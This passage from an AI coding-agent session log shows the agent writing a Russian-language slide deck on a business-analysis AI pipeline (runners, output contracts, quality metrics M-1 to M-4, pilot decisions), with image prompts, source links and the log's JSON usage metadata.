\u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\\n| `G-mach`, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release | \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e |\\n| `G-human` | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0435\u0441\u0442\u044c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 |\\n| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA clean horizontal production line: raw crumpled requests enter on the\\nleft, pass a sorting station, a library shelf where each item is\\nstamped with a source tag, a golden mould that shapes identical\\ndocuments, a machine scanner gate, a human inspector's desk, and exit\\non the right as four neatly labelled output trays.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 BCREQ](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[RFC Working \u2192 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden),\\n[\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0413-16 \u043e \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c\u0435 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0411\u043b\u043e\u043a 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.**\\n\\n- **\u0421\u0435\u0439\u0447\u0430\u0441:** \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0410\u0420\u041c \u0411\u0410 \u2014 GigaCode CLI \u0438 Cline + Mango AI.\\n  \u041e\u0434\u0438\u043d Source, \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430.\\n- **\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b:** \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b\\n  \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432 Cline \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c.\\n- **\u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430:** \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430.\\n- **\u0412\u0435\u043a\u0442\u043e\u0440:** runner \u043d\u0430 \u0410\u0420\u041c \u043a\u0430\u043a \u043b\u0438\u0434\u0435\u0440, \u0437\u0430\u0442\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0421\u0440\u0435\u0434\u0430 4 \u2014 \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e\\n  \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0438\u0441: \u0441\u0432\u043e\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0445\u0435\u0448\u0435\u0439, Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API.\\n\\n> **\u041f\u0440\u0438\u043d\u0446\u0438\u043f:** \u0430\u0433\u0435\u043d\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c\\n> (\u00abown your control flow\u00bb).\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0434\u0432\u0435 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u00ab\u0410\u0420\u041c \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u00bb \u0438 \u00ab\u0421\u0440\u0435\u0434\u0430 4\u00bb; \u043e\u0431\u0449\u0438\u0439\\n\u0431\u043b\u043e\u043a \u044f\u0434\u0440\u0430 runner \u043f\u043e \u0446\u0435\u043d\u0442\u0440\u0443.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nOn the left a single analyst's desk with a laptop and a small engine\\nblock glowing on it; an arrow leads to the right where the very same\\nengine block is installed at the centre of a compact server room,\\nnow connected by clean cables to several desks and a secure vault.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[ADR-017: Source \u2192 Distribution \u2192 Runtime](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[ADR-018: \u0433\u0440\u0430\u043d\u0438\u0446\u0430 GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md),\\n[ADR-019: \u043f\u0438\u043b\u043e\u0442 Cline + Mango AI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0411\u043b\u043e\u043a 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0438 \u0441\u043b\u0435\u0434\u043e\u043c \u0434\u043e\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0433\u043b\u0430\u0437: `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, `M-2`\\n  \u043e\u0442\u043a\u0430\u0437\u044b `G-mach`, `M-3` \u043f\u0440\u0430\u0432\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 = 100%.\\n- \u041a\u0430\u0436\u0434\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u043d\u043e\u0440\u043c\u044b, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441\\n  \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n> **\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f:** \u0441\u0440\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u0435\u043d, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u044b\u0448\u0435\\n> \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 0.0 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442\\n> \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0432\u043e\u0440\u043e\u043d\u043a\u0430 \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u043b\u0438\u043d\u0438\u0438 \u2192 \u043e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u2192\\n\u0421\u0410 / \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 / \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a M-1\u2026M-4.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeveral different product streams of varied shapes enter a single\\nprecision-machined standard coupling; on the other side they leave as\\nidentical, perfectly fitting connectors that plug directly into three\\nreceiving machines representing analysis, development and a signed\\ncontract.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[ADR-017: \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0432 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[\u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4, \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 1:** \u0434\u043e\u0441\u0442\u0443\u043f \u043a Mango AI \u043f\u043e OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e\\n  runner'\u0430 \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 2:** \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 10 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 contact-center \u0441 \u0437\u0430\u043c\u0435\u0440\u043e\u043c\\n  `M-1`\u2026`M-4` \u0434\u043e \u0438 \u043f\u043e\u0441\u043b\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 3:** \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043c\u0435\u043d\u044c\u0448\u0435 95%\\n  \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430\\n  \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0427\u0442\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n> **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n> \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nThree illuminated switches on a clean control panel, two already in\\nthe on position and one waiting; behind the panel a calm, well-lit\\nserver room is ready to power up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0441\u0440\u0435\u0434\u0430\u043c \u0438 \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\\n---\\n\\n## \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041a\u0430\u0440\u0442\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\\n\\n| \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c |\\n| --- | --- |\\n| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 | [`mango_ba_prompts/runs`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs), [\u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md) |\\n| 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044b \u043f\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u0430\u043c, 4 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) |\\n| `M-1 = 0.0`, 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 | [\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md) |\\n| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 | [\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md) |\\n| \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b `MM-1`\u2026`MM-4` | [\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) |\\n| 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, 5 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 | [\u0442\u0435\u043e\u0440\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md) |\\n| \u041e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 | [\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) |\\n| Release \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c | [\u0413-16](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md) |\\n| \u0423 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 n1\u2013n3 | [\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md) |\\n\"\n[2026-09-29T07:49:33.529Z] [INFO]         },\n[2026-09-29T07:49:33.529Z] [INFO]         \"caller\": {\n[2026-09-29T07:49:33.529Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:49:33.529Z] [INFO]         }\n[2026-09-29T07:49:33.529Z] [INFO]       }\n[2026-09-29T07:49:33.529Z] [INFO]     ],\n[2026-09-29T07:49:33.529Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:33.529Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:33.529Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:33.529Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:33.529Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:33.529Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:33.529Z] [INFO]       \"cache_creation_input_tokens\": 3247,\n[2026-09-29T07:49:33.529Z] [INFO]       \"cache_read_input_tokens\": 58806,\n[2026-09-29T07:49:33.529Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:33.529Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:49:33.529Z] [INFO]         \"ephemeral_1h_input_tokens\": 3247\n[2026-09-29T07:49:33.529Z] [INFO]       },\n[2026-09-29T07:49:33.529Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:49:33.529Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:33.529Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:33.529Z] [INFO]     },\n[2026-09-29T07:49:33.529Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:33.529Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:33.529Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:33.529Z] [INFO]   },\n[2026-09-29T07:49:33.529Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:33.529Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:33.529Z] [INFO]   \"uuid\": \"a10db479-14a4-455a-88bd-0580451013c0\",\n[2026-09-29T07:49:33.529Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:32.666Z\",\n[2026-09-29T07:49:33.529Z] [INFO]   \"request_id\": \"req_011CfXMx3NUvwiWcYL9wTqhP\",\n[2026-09-29T07:49:33.529Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:49:33.529Z] [INFO]     \"toolu_01V7BP9qiNijimiUJdzdmZen\": {\n[2026-09-29T07:49:33.529Z] [INFO]       \"file_path\": 